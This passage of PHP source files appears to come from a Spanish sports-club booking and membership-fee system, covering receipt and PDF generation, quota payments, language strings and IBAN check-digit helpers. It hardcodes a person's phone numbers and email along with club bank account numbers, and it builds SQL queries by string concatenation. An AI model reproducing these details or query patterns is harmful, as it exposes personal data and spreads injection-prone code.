'Torrijos de arribarrigota', 'cp' => '28058', 'phone' => '915092162', 'phone2' => '656424453', 'email' => 'juanjitojuanjitoo0000o.nieto@gmail.com'); imagettftext($image, $fontSize, 0, $text_xpos, 665, $black, $font, $assistant_info['user_lastname'].', '.$assistant_info['user_name']); // Nombre imagettftext($image, $fontSize, 0, $text_xpos+1600, 665, $black, $font, $assistant_info['nif']); // DNI imagettftext($image, $fontSize, 0, $text_xpos, 850, $black, $font, date($this->config->item('reserve_date_filter_format'),strtotime($assistant_info['birth_date']))); // fecha nacimiento imagettftext($image, $fontSize-5, 0, $text_xpos+400, 850, $black, $font, $assistant_info['address']); // direccion if(strlen($assistant_info['population'])<= 15 ) imagettftext($image, $fontSize, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']); // telefono movil elseif(strlen($assistant_info['population'])<= 20 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']); elseif(strlen($assistant_info['population'])<= 23 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']); else imagettftext($image, $fontSize-20, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']); imagettftext($image, $fontSize, 0, $text_xpos, 1030, $black, $font, $assistant_info['cp']); // codigo postal //imagettftext($image, $fontSize, 0, $text_xpos+450, 1030, $black, $font, $assistant_info['user_phone']); // telefono fijo imagettftext($image, $fontSize, 0, $text_xpos+400, 1030, $black, $font, $assistant_info['user_phone']); // telefono movil imagettftext($image, $fontSize, 0, $text_xpos+900, 1030, $black, $font, $assistant_info['user_id']); // telefono movil if(strlen($assistant_info['user_email'])<= 22 ) imagettftext($image, $fontSize, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']); // telefono movil elseif(strlen($assistant_info['user_email'])<= 28 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']); elseif(strlen($assistant_info['user_email'])<= 33 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']); else imagettftext($image, $fontSize-20, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']); if($chk_couta) { imagettftext($image, $fontSize-5, 0, $text_xpos, 1300, $black, $font, 'Cuota de socio es de '.$cuota_socio.' euros.'); // Nombre imagettftext($image, $fontSize-5, 0, $text_xpos, 1400, $black, $font, 'Cuota para el curso "'.$info->description.'" es de '.$quota.' euros. '); // Nombre imagettftext($image, $fontSize-5, 0, $text_xpos, 1500, $black, $font, 'El total a abonar es de '.intval($cuota_socio + $quota).' euros'); // Nombre } else { imagettftext($image, $fontSize-5, 0, $text_xpos, 1300, $black, $font, 'Cuota para el curso "'.$info->description.'" es de '.$quota.' euros. '); // Nombre } imagettftext($image, $fontSize-5, 0, $text_xpos, 1800, $black, $font, 'El ingreso deberรก realizarse en alguno de los siguientes nรบmeros de cuenta:'); // Nombre imagettftext($image, $fontSize, 0, $text_xpos+50, 1900, $black, $font, '2105 0039 34 1290022090 (Caja Castilla-La Mancha)'); // Nombre imagettftext($image, $fontSize, 0, $text_xpos+50, 2000, $black, $font, '3081 0181 03 2563768528 (Caja Rural)'); // Nombre imagettftext($image, $fontSize-5, 0, $text_xpos, 2100, $black, $font, 'En el concepto de pago deberรก poner \''.$pago->ticket_number.'\''); // Nombre imagettftext($image, $fontSize-10, 0, $text_xpos, 2250, $black, $font, 'Deberรก acompaรฑarse la presente solicitud con el justificante del ingreso'); // Nombre $font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf'; $font = new BCGFontFile($this->config->item('root_path').'system/fonts/Arial.ttf', 10); $color_black = new BCGColor(0, 0, 0); $color_white = new BCGColor(255, 255, 255); // Barcode Part $code = new BCGcode128(); $code->setScale(5); $code->setThickness(30); $code->setForegroundColor($color_black); $code->setBackgroundColor($color_white); $code->setFont($font); $code->setStart(NULL); $code->setTilde(true); $code->setOffsetX(1); $code->setOffsetX(1); //$code->clearLabels(); $code->parse($pago->ticket_number); $tamaรฑo_barcode = $code->getDimension(0, 0); $ancho_barcode = $tamaรฑo_barcode[0]; $alto_barcode = $tamaรฑo_barcode[1]; //exit('aa'); $barcode = imagecreatetruecolor($ancho_barcode, $alto_barcode); $background_color = imagecolorallocate($barcode, 255, 255, 255); imagefill($barcode, 0, 0, $background_color); // Drawing Part $drawing = new BCGDrawing('', $color_white); $drawing->set_im($barcode); $drawing->setBarcode($code); $drawing->draw($barcode); //$drawing->finish(BCGDrawing::IMG_FORMAT_PNG); $marge_right = 1200; $marge_bottom = 800; imagecopy($image, $barcode, imagesx($image) - $ancho_barcode - $marge_right, imagesy($image) - $alto_barcode - $marge_bottom, 0, 0, $ancho_barcode, $alto_barcode); //imagettftext($image, $fontSize, 0, $text_xpos, 140, $black, $font, 'ID: '.$assistant_info['user_id']); //$anchoo = imagesx($image); //$altoo = imagesy($image); //$proporcion = 1.4143; //$imagen_final = imagecreatetruecolor($anchoo, $altoo); //$image = imagerotate($image, 90, 0); //imagecopyresized ($imagen_final, $image, 0, 0, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo); //imagecopyresized ($imagen_final, $image, 0, $altoo / 2, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo); //header("Content-type: image/jpeg"); //header("Content-type: image/jpeg"); //header("Content-Length: " . $size); // NOTE: Possible header injection via $basename //header("Content-Disposition: attachment; filename=cuota_" . $code_user .'.jpg'); //header('Content-Transfer-Encoding: binary'); //header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); # Rota la imagen 90 grados //$image = imagerotate($image, 90, 0); $recibo_path = $this->config->item('root_path').'data/recibos/'.$pago->ticket_number.'.jpg'; imagejpeg($image,$recibo_path, 100); // Liberar memoria imagedestroy($image); $pdf->AddPage(); $pdf->SetFont('Arial','B',16); //$pdf->Cell(40,10,'ยกHola, Mundo!'); $pdf->Image($recibo_path, 0, 0, 210); //exit(); //imagedestroy($imagen_final); } } //if($i==25) $pdf->Output(); } //$pdf->Output($this->config->item('root_path').'data/recibos/recibos.pdf', 'F'); $pdf->Output($this->config->item('root_path').'data/recibos/'.$desc_curso.'.pdf', 'F'); } ##################### # # Funciรณn que genera los pagos relativos a las inscripciones de los usuarios en rankings # #################### function ranking_quotas() { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->library('rank_lib'); $this->load->library('app_common'); $this->load->model('Ranking_model', 'rank', TRUE); //echo '----'.$this->config->item('log_date_format').'---'.date($this->config->item('log_date_format')); # Recupero lista de rankings $rankings = $this->rank->get_data(array('where'=>"ranking.started = 1 AND ranking.active = 1")); //print("<pre>");print_r($rankings); # Lista a la que aรฑado todos los pagos que habrรก que realizar $pagadores = array(); # Recorro los rankings activos foreach($rankings as $ranking) { # Recupero lista de equipos $equipos = $this->rank->get_ActiveTeams($ranking['id']); //print("<pre>");print_r($equipos); # Recorro los equipos foreach($equipos as $equipo) { # Recupero lista de jugadores $jugadores = $this->rank->get_teams_members(array('where'=>"ranking.started = 1 AND ranking_teams.status = 1 AND ranking_teams_members.status = 1 AND ranking_teams.id = ".$equipo['id']." ")); # Recorro los equipos $i = 0; foreach($jugadores as $jugador) { $this->rank_lib->pay_user_quota($jugador['id']); //exit('Primer jugador!!'); //$jugadores[$i]['grupo'] = $this->users->getUserGroup($jugador['id_user']); //$jugadores[$i]['cuota'] = $this->app_common->getPriceValue($ranking['price'], array('group' => $jugadores[$i]['grupo'])); $i++; } //print("Equipo ".$equipo['id']."<pre>");print_r($jugadores); } } //exit(); } ##################### # # Funciรณn que genera los pagos automaticos para remesas # #################### function generate_quotas() { //echo 'a'; # Generacion de cuotas de usuarios $this->users_quotas(); //echo 'b'; # Generacion de cuotas de clases $this->lessons_quotas(); //echo 'c'; # Generacion de cuotas de ranking $this->ranking_quotas(); } ##################### # # Funciรณn que genera automaticamente los ficheros de exportacion de reservas, usuarios y facturacion # #################### function export_data() { log_message('debug','Exportaciรณn de datos a fichero'); //set_time_limit(300); ini_set('memory_limit', '1024M'); $this->load->library('booking'); $this->load->library('users_lib'); $this->load->library('payments_lib'); $this->booking->exportacion(); $this->users_lib->exportacion(); $this->payments_lib->exportacion(); log_message('debug','Fin de exportaciรณn de datos a fichero'); } } /* End of file welcome.php */ /* Location: ./system/application/controllers/welcome.php */ ``` reservas_lang.php ```<?php # TEXTO $lang['reserve_index_text'] = htmlentities("Desde aquรญ podrรกs reservar pista para tu prรณximo partido, pudiendo saber en todo momento quรฉ horarios estรกn libres en cada pista. Tras seleccionar la pista y el horario deberรกs confirmar la reserva realizando el pago, tras lo cual recibirรกs una confirmaciรณn de la misma para tรบ tranquilidad."); # INTERFACE $lang['court_date_filters'] = "Seleccion de pista y fecha"; $lang['interval_selection'] = "Seleccion de hora"; $lang['booking_extra_selection'] = "Seleccion de usuario y extras"; $lang['payment_selection'] = "Seleccion de forma de pago"; $lang['payment_confirmation'] = "Confirmacion de reserva"; $lang['selected_date'] = "Fecha seleccionada"; $lang['select_date'] = "Seleccione fecha"; $lang['next_refresh'] = "Pr&oacute;ximo refresco de pantalla "; #CONFIRMACION RESERVA $lang['confirmation_reserved_for'] = htmlentities("Reserva actual para"); $lang['confirmation_advice_payment'] = htmlentities("Te recordamos que has realizado una reserva "); $lang['confirmation_advice'] = htmlentities("Vas a confirmar una reserva de "); $lang['confirmation_total'] = htmlentities("El importe de la reserva es de "); $lang['confirmation_from'] = htmlentities("desde las"); $lang['confirmation_to'] = htmlentities("hasta las"); $lang['confirmation_court'] = htmlentities("en la pista"); $lang['confirmation_date'] = htmlentities("el dรญa"); $lang['confirmation_light_extra'] = htmlentities("Ha seleccionado el sumplemento de luz"); $lang['confirmation_detail_intro'] = htmlentities("La informaciรณn de la reserva es la siguiente:"); $lang['confirmation_extra_user_data'] = htmlentities("Para confirmar la reserva necesitamos que completes los siguientes datos."); $lang['confirmation_user_data_explanation'] = htmlentities("Para confirmar la reserva necesitamos definir para quiรฉn es:"); $lang['confirmation_no_cost'] = htmlentities("Marcar para confirmar reserva sin coste."); $lang['confirmation_no_cost_desc'] = htmlentities("Motivo"); $lang['confirmation_multiuser'] = htmlentities("Marcar para reservar a nombre de otro usuario."); $lang['confirmation_multiuser_desc'] = htmlentities("Usuario"); $lang['confirmation_allow_reserve'] = htmlentities("Como eres usuario registrado, puedes dejar la pista reservada y pagarla en el club."); # PAGOS $lang['payment_success'] = htmlentities("Pago realizado con รฉxito"); $lang['payment_reserve'] = htmlentities("Reserva realizada. Deberรก pagar en el club."); $lang['payment_waiting'] = htmlentities("Esperando la confirmaciรณn del pago."); $lang['payment_error'] = "Error en la realizaci&oacute;n del pago.<br>Se ha eliminado la reserva previa que se hab&iacute;a realizado. Intente reservar de nuevo."; #MENSAJES $lang['session_lost_alert'] = htmlentities("La informaciรณn de la reserva se perdiรณ. Vuelva a seleccionar su reserva."); $lang['booking_lost_alert'] = "La informaciรณn de la reserva se perdi&oacute; o no se localiz&oacute; una reserva con ese c&oacute;digo. Vuelva a seleccionar su reserva."; $lang['no_cost_reason_required'] = "Debe explicar el motivo por el que no se cobra la reserva."; $lang['user_info_required'] = "Debe completar la informacion personal para completar la reserva."; $lang['multiuser_value_required'] = "Si quieres seleccionar a nombre de otro usuario registrado, debe seleccionar cual es."; #BOTONES $lang['reserve_button'] = htmlentities("Reserva y paga en el club"); $lang['paypal_button'] = htmlentities("Usa Paypal"); $lang['cash_button'] = htmlentities("Pagar en efectivo"); $lang['prepaid_button'] = htmlentities("Usar monedero"); $lang['tpv_button'] = htmlentities("Usar tarjeta (TPV)"); $lang['creditcard_button'] = htmlentities("Usar tarjeta"); $lang['bank_button'] = htmlentities("Paga por el banco"); # CAMPOS $lang['sport'] = "Deporte"; $lang['padel'] = "Padel"; $lang['tenis'] = "Tenis"; $lang['spinning'] = "Spinning"; $lang['fisio'] = "Fisioterapia"; $lang['baloncesto'] = "Baloncesto"; $lang['futbol'] = "Futbol"; $lang['futbol7'] = "Futbol7"; $lang['futbolsala'] = "Futbol Sala"; $lang['pingpong'] = "Tenis de mesa"; $lang['voleibol'] = "Voleyball"; $lang['arco'] = "Tiro con arco"; $lang['aerobic'] = "Aerobic"; $lang['pilates'] = "Pilates"; $lang['natacion'] = "Natacion"; $lang['gimnasia'] = "Gimnasia"; $lang['pabellon'] = "Pabellon municipal"; $lang['polivalente'] = "sala polivalente"; $lang['multiusos'] = "Pabellon municipal"; $lang['zumba'] = "Zumba"; $lang['bailes'] = "Bailes de Salon"; $lang['cultura'] = "Actividades Culturales"; $lang['atletismo'] = "Atletismo"; $lang['badminton'] = "Badminton"; $lang['rugby'] = "Rugby"; $lang['taekwondo'] = "Taekwondo"; $lang['judo'] = "Judo"; $lang['baile'] = "Baile Moderno"; $lang['fronton'] = "Fronton"; $lang['court_type'] = "Tipo de pista"; $lang['padelMuro'] = "Padel Muro"; $lang['padelCristal'] = "Padel Cristal"; $lang['tenisCemento'] = "Tenis Cemento"; $lang['tenisTierra'] = "Tenis Tierra Batida"; $lang['padelCubierta'] = "Cubierta"; $lang['padelDescubierta'] = "Competicion descubierta"; $lang['padelPanoramica'] = "Competicion descubierta"; $lang['sala'] = "Sala"; $lang['pistaCentral'] = "Pista Central"; $lang['pistaLateral'] = "Pista Lateral"; $lang['futbol11'] = "Futbol 11"; $lang['futbol7'] = "Futbol 7"; $lang['calle'] = "Calle"; $lang['tiro'] = "Galeria de tiro"; $lang['polivalente'] = "Sala polivalente"; $lang['frontonLargo'] = "Fronton Largo"; $lang['court'] = "Pista"; $lang['reserve_status'] = "Estado"; $lang['libre'] = "Libre"; $lang['prerreserva'] = "Pendiente"; $lang['pendiente_pago'] = "Reservada"; $lang['pagado'] = "Pagado"; $lang['planificado'] = "Programado"; $lang['procesando'] = "En proceso"; $lang['cancelado'] = "Cancelado"; $lang['validado'] = "Validada"; $lang['date1'] = "Desde"; $lang['date2'] = "Hasta"; $lang['hora1'] = "Hora desde"; $lang['hora2'] = "Hora hasta"; # CAMPOS $lang['mail_booking_confirmation'] = "Confirmacion de reserva"; $lang['mail_booking_change'] = "Modificacion de reserva"; $lang['mail_booking_cancel'] = "Cancelacion de reserva"; $lang['mail_booking_intro_change'] = "Le informamos que se ha modificado su reserva con c&oacute;digo"; $lang['mail_booking_intro2_change'] = ", como resultado de lo cual ahora dispone de una <b>nueva reserva</b> con c&oacute;digo"; $lang['mail_booking_intro_cancel'] = "Le informamos que se ha cancelado una reserva a su nombre con c&oacute;digo"; $lang['mail_booking_intro'] = "Le informamos que ha quedado confirmada su reserva con c&oacute;digo "; $lang['mail_booking_pay_needed'] = "aunque le recordamos que <b>a&uacute;n deber&aacute; abonar</b> el importe de la reserva"; $lang['mail_booking_day'] = "Fecha:"; $lang['mail_booking_time'] = "Horario:"; $lang['mail_booking_court'] = "Pista:"; $lang['mail_booking_greetings'] = "Recuerde llevar el c&oacute;digo de reserva y algรบn documento que acredite su identidad.<br>&nbsp;<br>Disfrute del partido!<br>&nbsp;<br>Atentamente"; $lang['mail_booking_player'] = "Participacion en reserva"; $lang['mail_booking_intro_player'] = "Le informamos que "; $lang['mail_booking_intro_player2'] = " acaba de realizar una reserva en la que le ha asignado como jugador participante. La reserva tiene el c&oacute;digo "; $lang['mail_booking_greetings_player'] = "Si no est&aacute; al tanto de dicha reserva, no conoce a la persona que reserv&oacute; o tiene dudas respecto a la validez de la misma, no dude en contactar con el club. <br> En caso de que todo est&eacute; correcto, recuerde llevar el c&oacute;digo de reserva y algรบn documento que acredite su identidad.<br>&nbsp;<br>Disfrute del partido!<br>&nbsp;<br>Atentamente"; $lang['mail_booking_intro_cancel_player'] = "Le informamos que se ha cancelado una reserva en la que aparec&iacute;a como jugador. La reserva ten&iacute;a el c&oacute;digo"; $lang['mail_booking_intro_change_player'] = "Le informamos que se ha modificado una reserva en la que aparec&iacute;a como jugador. La reserva ten&iacute;a el c&oacute;digo"; $lang['mail_booking_intro2_change_player'] = ". Como resultado de ese cambio ahora es jugador de una <b>nueva reserva</b> con c&oacute;digo"; ?>``` users_lib.php ```<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); /** * Redux Authentication 2 */ class users_lib { public function users_lib() { $this->CI =& get_instance(); log_message('debug', "users_lib Class Initialized"); $this->CI->load->model('Redux_auth_model', 'usuario', TRUE); } ############## # # Devuelve listado de codigos de usuario que, segรบn parametrizaciรณn, ya deben pagar sus cuotas # #################### public function get_quotable_users($valid = TRUE) { $niveles_que_pagan = $this->get_quotable_groups(); //print("aa<pre>");print_r($niveles_que_pagan);exit(); # Si no hay niveles a los que cobrar.. lista vacรญa if(!count($niveles_que_pagan)) return NULL; $where = "users.active = '1'"; $dias_caducidad = $this->CI->config->item('users_qouta_caducity_days'); if(!isset($dias_caducidad) || $dias_caducidad =='') $dias_caducidad = 0; $fecha_control = date($this->CI->config->item('date_db_format'), strtotime(date($this->CI->config->item('date_db_format')).' +'.$dias_caducidad.'days')); //echo $fecha_control.'---'; $usuarios = $this->CI->usuario->get_data(array('where' => "users.active = '1' and users.group_id IN ('".implode("'. '", $niveles_que_pagan)."') and meta.code_price is not null and meta.code_price <> '0' and meta.last_payd_date is not null and meta.last_payd_date <= '".$fecha_control."'"))->result_array(); //echo $this->CI->db->last_query(); $pagadores = array(); $sin_datos = array(); foreach($usuarios as $usuario) { /* if($usuario['bank'] != '' && $usuario['bank_office'] != '' && $usuario['bank_dc'] != '' && $usuario['bank_account'] != '' && intval($usuario['bank']) != 0 && intval($usuario['bank_office']) != 0 && $usuario['bank_dc'] != '0' && intval($usuario['bank_account']) != '0' ) array_push($pagadores, $usuario); else array_push($sin_datos, array('id' => $usuario['id'], 'code_price' => $usuario['code_price'], 'nombre' => trim($usuario['first_name'].' '.$usuario['last_name']))); */ array_push($pagadores, $usuario); } if($valid) return $pagadores; else return $sin_datos; } ############## # # Devuelve listado de codigos de usuario que, segรบn parametrizaciรณn, ya deben pagar sus cuotas # #################### public function pay_user_quota($code_user, $options = NULL) { $last_payd_date = $this->CI->usuario->getLastPayedDate($code_user); $next_payment_date = ''; if($options['code_price']!='' && isset($options['payd_date_tmp']) && $options['payd_date_tmp']!='') $next_payment_date = date($this->CI->config->item('date_db_format'), strtotime($options['payd_date_tmp'])); else if($options['code_price']!='') $next_payment_date = $this->CI->usuario->getNextPaymentDate($code_user); //echo '<br>nueva last_payd_date:'.$last_payd_date; //echo '<br>siguiente fecha pago:'.$next_payment_date; //exit(); $quota = 0; if(isset($options['payable_quota']) && $options['payable_quota']!='' && is_numeric($options['payable_quota'])) $quota = $options['payable_quota']; else if($options['code_price']!='') $quota = $this->CI->usuario->get_userQuota($options); //echo '<br>cuota de usuario '.$code_user.': '.$quota; //exit(); if(isset($options['paymentway']) && $options['paymentway']!='') $paymentway = $options['paymentway']; else $paymentway = $this->CI->config->item('users_qouta_default_paymentway'); //echo '<br>Forma de pago: '.$paymentway; if(isset($options['status']) && $options['status']!='') $estado = $options['status']; else $estado = $this->CI->config->item('users_qouta_default_payment_status'); //echo '<br>Estado de pago: '.$estado; # Si es para la lista de espera o si la cuota de alta es 0 o si, siendo otra, viene con la acciรณn de 'save', osea, ya pagada.. if(isset($quota) && $quota!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") { $fecha_humana = date($this->CI->config->item('reserve_date_filter_format'), strtotime($next_payment_date)); if($this->CI->usuario->setMonthlyPayment($code_user, $next_payment_date)) $this->CI->session->set_userdata('info_message', 'Pago hasta el '.$fecha_humana.' realizado'); else { return FALSE; } $user_desc = $options['name']; //$estado = 9; //if($estado=='' && $paymentway == 4) $estado = 2; if($quota == 0) $estado = 9; // Si la cuota resultante es '0', se pone siempre como pagado para evitar pagos raros pendientes en remesas $this->CI->load->model('Payment_model', 'pagos', TRUE); $this->CI->pagos->id_type = 5; //Clases y cursos $this->CI->pagos->id_element = $this->CI->session->userdata('session_id'); $this->CI->pagos->id_transaction = '5-'.$code_user.'-'.date('U', strtotime($next_payment_date)); // Formato '5' de usuario, codigo de usuario, y timestamp de fecha de pago $this->CI->pagos->id_user = $code_user; $this->CI->pagos->desc_user = $user_desc; $this->CI->pagos->id_paymentway = $paymentway; $this->CI->pagos->status = $estado; $this->CI->pagos->quantity = $quota; //$this->pagos->description="Cuota de usuario '".$user_desc."', hasta el ".$fecha_humana; $this->CI->pagos->description = "Cuota de usuario hasta el ".$fecha_humana; $this->CI->pagos->datetime = date($this->CI->config->item('log_date_format')); $this->CI->pagos->fecha_valor = $last_payd_date; $this->CI->pagos->create_user = $this->CI->session->userdata('user_id'); $this->CI->pagos->create_time = date($this->CI->config->item('log_date_format')); $this->CI->pagos->setPayment(); return TRUE; //redirect($returnUrl, 'Location'); exit(); } else return FALSE; } ############## # # Devuelve listado de niveles de usuario que, segรบn parametrizaciรณn, deben pagar cuotas # #################### public function get_quotable_groups() { $niveles_que_pagan_arr = $this->CI->config->item('users_quota_group'); $niveles_que_pagan = array(); foreach($niveles_que_pagan_arr as $grupo => $permiso) if($permiso) array_push($niveles_que_pagan, $grupo); if(count($niveles_que_pagan)) return $niveles_que_pagan; else return NULL; } /** * Generar el array de datos a exportar * * @return boolean * @author **/ public function export_data($opciones = NULL) { $this->CI->load->model('redux_auth_model', 'redux2', TRUE); //$records = $this->CI->payment2->get_data(array('page' => 1, 'num_rows' => 25)); $records = $this->CI->redux2->get_data_to_export(); //$resultado = $records->result_array(); //echo $texto."<pre>"; print_r($records);exit(); return $records; } # ------------------------------------------------------------------- # genera un fichero de texto en el servidor con los datos de usuarios # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function exportacion ($opciones = NULL) { //$this->load->model('Reservas_model', 'reservas', TRUE); $exportacion = $this->export_data(array('formato' => 'array', 'opcion' => $opciones)); //echo $texto."<pre>"; print_r($exportacion);exit(); $texto = $this->CI->app_common->to_csv($exportacion); //$data->rows = $records; //echo $texto."<pre>"; print_r($exportacion);exit(); $fp = fopen($this->CI->config->item('root_path').'data/users_'.md5($this->CI->config->item('club_name')).'.txt', 'w'); fwrite($fp, utf8_decode($texto)); fclose($fp); //echo json_encode ($data ); //exit( 0 ); } /** * my_bcmod - get modulus (substitute for bcmod) * string my_bcmod ( string left_operand, int modulus ) * left_operand can be really big, but be carefull with modulus :( * by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania **/ function personal_bcmod ( $x, $y ) { // how many numbers to take at once? carefull not to exceed (int) $take = 5; $mod = ''; do { $a = (int)$mod.substr( $x, 0, $take ); $x = substr( $x, $take ); $mod = $a % $y; } while ( strlen($x) ); return (int)$mod; } /** * Gernerar el DC, dรญgito control de IBAN, y devolver en nuevo IBAN con DC * * @link http://www.desarrolloweb.com/articulos/2484.php * @param string $_iban * @return $iban_ */ function generarDCInToIban( $_iban ) { $ibanConDC_ = -1; // IBAN sin DC, DC = 00 : BE00999999999999 // IBAN con DC, DC = 89 : BE89999999999999 // Mover los cuatro primeros caracteres del nรบmero IBAN a la derecha: $ibanConDC_ = substr($_iban,4)."".substr($_iban,0,4); // Convertir las letras a nรบmeros segรบn la siguiente tabla: // A=10 G=16 M=22 S=28 Y=34 // B=11 H=17 N=23 T=29 Z=35 // C=12 I=18 O=24 U=30 // D=13 J=19 P=25 V=31 // E=14 K=20 Q=26 W=32 // F=15 L=21 R=27 X=33 $letras_array = array("A","B","C","D","E","F","G","H","I","J","K","L", "M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"); $numeros_array = array("10","11","12","13","14","15","16","17","18","19","20","21", "22","23","24","25","26","27","28","29","30","31","32","33","34","35"); $ibanConDC_ = str_replace( $letras_array, $numeros_array, $ibanConDC_); // Aplicar la operaciรณn mรณdulo 97 y restar al nรบmero 98, el valor obtenido. // Si el resultado consta de sรณlo un dรญgito, insertar un cero a la izquierda. //$modulo97 = intval($ibanConDC_) % 97; //$modulo97 = $ibanConDC_ % 97; $modulo97 = $this->personal_bcmod($ibanConDC_, 97); //exit('aaaaaaaaaaaaaaaaaaaaaaaa'); $dc = 98 - $modulo97; // insertar 0 a la izquierda si fuera menor de dos dรญgitos $dc = sprintf("%02d",$dc); // Sustituimos los dรญgitos 2 y 4 por el $dc $ibanConDC_ = substr($_iban,0,2).$dc.substr($_iban,4); return $ibanConDC_; } } ``` spanish_lang.php ```<?php # BOTONES $lang['login'] = "Identificarse"; $lang['logout'] = "Salir"; $lang['signin'] = "Registrarse"; $lang['remember'] = "Recordar"; $lang['access'] = "Acceder"; $lang['cancel'] = "Cancelar"; # MENU $lang['mnu_inicio'] = "Inicio"; $lang['mnu_reserva'] = "Reservar"; $lang['mnu_gestion'] = "Gesti&oacute;n"; $lang['mnu_notification'] = "Notificaciones"; $lang['mnu_reservas'] = "Reservas"; $lang['mnu_reservas_all'] = "Listado general"; $lang['mnu_reservas_today'] = "Reservas de hoy"; $lang['mnu_reservas_status'] = htmlentities("Estado de ocupaciรณn"); $lang['mnu_reservas_canceled'] = "Reservas canceladas"; $lang['mnu_reservas_by_user'] = "Mis Reservas"; $lang['mnu_reservas_new_by_phone'] = "Reserva Telef&oacute;nica"; $lang['mnu_reservas_new_present'] = "Reserva Presencial"; $lang['mnu_socios'] = "Socios"; $lang['mnu_socios_new'] = "Nuevo socio"; $lang['mnu_socios_list'] = "Listado de socios"; $lang['mnu_factura'] = "Facturaci&oacute;n"; $lang['mnu_actividades'] = "Clases y cursos"; $lang['mnu_recepcion'] = "Panel recepci&oacute;n"; $lang['mnu_report'] = "Informes"; $lang['mnu_report1'] = "Informes 1"; $lang['mnu_report2'] = "Informes 2"; $lang['mnu_report3'] = "Informes 3"; $lang['mnu_report3_1'] = "Informes 3.1"; $lang['mnu_report3_2'] = "Informes 3.2"; $lang['mnu_perfil'] = "Mi cuenta"; $lang['mnu_logout'] = "Salir"; #WELCOME $lang['welcome'] = "Bienvenido"; $lang['welcome_title'] = "Bienvenidos a Reserva Deportiva"; $lang['welcome_text'] = htmlentities("La web a travรฉs de la cual podrรกs realizar reservas para jugar en tu club favorito sin necesidad de desplazarte ni esperar nรบmeros telefรณnicos comunicando."); $lang['welcome_text_logged'] = htmlentities("Difruta de todos los beneficios de ser un usuario registrado en el sistema, como el bono prepago, la reserva con mรกs anticipaciรณn y el control de tus reservas y gastos."); #COMUNES $lang['date'] = "Fecha"; $lang['init_time'] = "Hora Inicio"; $lang['usuario'] = "Usuario"; $lang['currency'] = '&euro;'; $lang['hour'] = 'hora'; $lang['hours'] = 'horas'; $lang['minutes'] = 'minutos'; $lang['units'] = 'unidades'; $lang['and'] = 'y'; # DATOS DE USUARIO $lang['user_name'] = 'Nombre'; $lang['anonymous_user'] = htmlentities('Usuario anรณnimo'); $lang['user_id'] = 'NIF'; $lang['user_phone'] = htmlentities('Telรฉfono'); $lang['first_name'] = htmlentities('Nombre'); $lang['last_name'] = htmlentities('Apellido'); $lang['username'] = htmlentities('Apodo'); #BUSQUEDA PISTA $lang['court_search'] = "Busca tu pista!"; $lang['court_required_alert'] = "Rellene la pista de la que quiere hacer reserva"; $lang['date_required_alert'] = "Seleccione una fecha sobre la que quiere hacer reserva"; #PAGINA INICIO $lang['login_form'] = htmlentities("Acceso a la aplicaciรณn"); $lang['register_form'] = htmlentities("Crear una nueva cuenta de usuario"); $lang['two_fields_mandatory'] = htmlentities("Los dos campos son obligatorios."); $lang['all_fields_mandatory'] = htmlentities("Todos los campos son obligatorios."); $lang['report_search'] = "Actualizar"; $lang['report_pdf'] = "Exportar a PDF"; $lang['report_excel'] = "Exportar a Excel"; #Formas de pago $lang['id_type'] = 'Tipo de pago'; $lang['payment_status'] = 'Estado'; $lang['user'] = 'Usuario'; $lang['payment_ways'] = 'Forma pago'; $lang['Contado'] = 'Efectivo'; $lang['Tarjeta'] = 'Tarjeta'; $lang['TPV'] = 'TPV'; $lang['Paypal'] = 'Paypal'; $lang['Transferencia'] = 'Transferencia'; $lang['Prepago'] = 'Prepago'; $lang['under_construction'] = "En construcci&oacute;n"; #Nombres de modulos $lang['ranking_name'] = "Ranking"; ?>``` reservas_model.php ```<?php class Reservas_model extends Model { /* # CONTENIDO # # getSportsArray() # getReserveStatusArray() # getPaymentWaysArray() # getSpecialTimetable() # getSpecialTimetableByCourt() # getAvailabilityByCourt() # checkExactAvailability() # bookingInterval() # getBookingInfoBySession() # getBookingInfoById() # eraseInterval() # clearByUser() # getPaymentMethodsByUser() # setSelectionReserved() # getPrice() # get_data() # get_data_count() # get_listall() # get_list_by_day() # get_global_list() # get_court_ocupation() # get_complete_court_ocupation() # validate_reserve() # cleanBlockReserves() # */ var $date = NULL; var $intervalo = NULL; var $status = NULL; var $court = NULL; var $id = NULL; var $group = NULL; var $id_user = NULL; var $id_booking = NULL; var $id_transaction = NULL; var $booking_code = NULL; var $user_nif = NULL; var $sesion = NULL; var $user_desc = NULL; var $paymentway = NULL; var $price = NULL; var $price_court = NULL; var $price_light = NULL; var $price_supl1 = NULL; // Suplemento por reserva anticipada var $price_supl2 = NULL; // Suplemento por invitados var $price_supl3 = NULL; var $price_supl4 = NULL; var $price_supl5 = NULL; var $availability = NULL; var $create_user = NULL; var $create_time = NULL; ############################################################################## function Reservas_model() { // Call the Model constructor parent::Model(); $this->load->model('Pistas_model', 'pistas', TRUE); } ############################################################################## function getSportsArray($format = null) { //$query = $this->db->get('entries', 10); //return $query->result(); if($format == 'json') $result=array(); else $result=array(""=>"Selecciona deporte"); $sql = "SELECT id, description FROM zz_sports WHERE active=1 "; $query = $this->db->query($sql); foreach ($query->result() as $row) { if($format == 'json') array_push($result, $row->description.':'.$this->lang->line($row->description)); else $result[$row->id]=$this->lang->line($row->description); } if($format == 'json') $result = implode(';', $result); return $result; } ############################################################################## function getReserveStatusArray() { //$query = $this->db->get('entries', 10); //return $query->result(); $result=array(""=>"Selecciona 